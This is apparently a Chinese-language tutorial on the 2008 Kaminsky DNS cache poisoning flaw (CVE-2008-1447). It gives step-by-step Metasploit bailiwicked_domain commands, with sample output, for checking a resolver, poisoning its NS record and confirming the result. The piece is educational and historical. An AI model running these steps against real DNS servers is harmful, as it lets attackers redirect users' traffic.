# bailiwicked_domain.rb：经典DNS缓存投毒攻击实战解析 2008年7月，网络安全领域迎来了一场剧烈震荡。安全研究员Dan Kaminsky公开了一项广泛存在于DNS实现中的严重缺陷，该漏洞使攻击者能够将恶意DNS记录注入目标服务器的缓存之中。今天，我们深入剖析当时的攻击脚本——bailiwicked_domain.rb，通过它还原整个攻击的核心机制与操作流程。 ## 攻击原理 该漏洞的根源在于一个看似简单却极具破坏力的设计缺陷。攻击者迫使目标域名服务器持续查询目标域名的随机子域名，同时伪造来自权威域名服务器的响应数据包。当攻击者猜测的事务ID（XID）恰好与目标服务器发出的查询ID吻合时，伪造的响应便会被当作有效数据接受。该响应中包含攻击者预先设定的答案、权威服务器记录以及对应的地址记录，这些信息全部被注入目标服务器的缓存，彻底替换掉目标域名原有的权威域名服务器记录。 更通俗地讲，攻击者如同伪造一封信件的回复，只要猜对信封上的编号，目标服务器就会将这份“回复”当作真实信息加以存储。 ## 利用工具：bailiwicked_domain.rb Metasploit框架中内置了一个名为`bailiwicked_domain`的辅助模块，专门用于执行此类DNS缓存投毒攻击。以下是利用msfconsole实施攻击的真实操作步骤。 首先，在msfconsole中加载该模块： ``` msf > use auxiliary/spoof/dns/bailiwicked_domain ``` 接着配置目标信息。指定要攻击的域名服务器的IP地址： ``` msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D ``` 指定目标域名，即你想要替换其域名服务器记录的那个域名： ``` msf auxiliary(bailiwicked_domain) > set DOMAIN example.com ``` 设置你希望替换成的恶意域名服务器地址： ``` msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com ``` 将源端口设置为0，让工具自动检测目标服务器的源端口： ``` msf auxiliary(bailiwicked_domain) > set SRCPORT 0 ``` ## 检查目标是否可被利用 正式攻击之前，先借助Metasploit的探测服务检查目标服务器是否使用静态端口。如果目标采用固定的源端口，说明它极易遭受缓存投毒攻击。 ``` msf auxiliary(bailiwicked_domain) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] FAIL: This server uses static source ports and is vulnerable to poisoning ``` 输出结果显示，该服务器的源端口始终为50391，属于静态端口，因此可被成功投毒。 ## 确认当前域名服务器状态 在发起攻击前，我们先查询目标域名当前的权威域名服务器信息： ``` msf auxiliary(bailiwicked_domain) > dig short -t ns example.com @A.B.C.D [*] exec: dig short -t ns example.com @A.B.C.D b.iana-servers.net. a.iana-servers.net. ``` 可以看到，example.com的权威域名服务器当前为iana-servers.net。 ## 正式攻击 开始注入攻击。整个攻击过程分为以下几个关键阶段： 1. **识别目标域名**：工具显示正在针对`example.com`的域名服务器，试图将其替换为`dns01.metasploit.com`。 2. **获取权威服务器信息**：通过一个侦查域名服务器（默认使用208.67.222.222）查询`example.com`的权威域名服务器。 3. **验证权威性**：逐一验证这些服务器是否确实对`example.com`拥有权威性。 4. **发送伪造请求与响应**：持续向目标服务器发送随机子域名的查询请求，同时从所有合法权威服务器的IP地址伪造大量响应数据包。 ``` msf auxiliary(bailiwicked_domain) > run [*] Switching to target port 50391 based on Metasploit service [*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com ... [*] Sent 10000 queries and 200000 spoofed responses... ... [*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com ``` 经过13250次尝试，攻击宣告成功。目标域名服务器中的example.com记录已被指向攻击者指定的域名服务器。 ## 验证攻击效果 攻击完成后，再次查询example.com的域名服务器： ``` msf auxiliary(bailiwicked_domain) > dig short -t ns example.com @A.B.C.D [*] exec: dig short -t ns example.com @A.B.C.D dns01.metasploit.com. ``` 输出确认，目标域名服务器现在认为example.com的权威域名服务器是`dns01.metasploit.com`。 ## 漏洞发现与参考文献 该漏洞最初由Dan Kaminsky发现并公开披露。 - CVE编号：CVE-2008-1447 - US-CERT漏洞编号：VU#800113 - 更多详情可参考：https://www.kb.cert.org/vuls/id/800113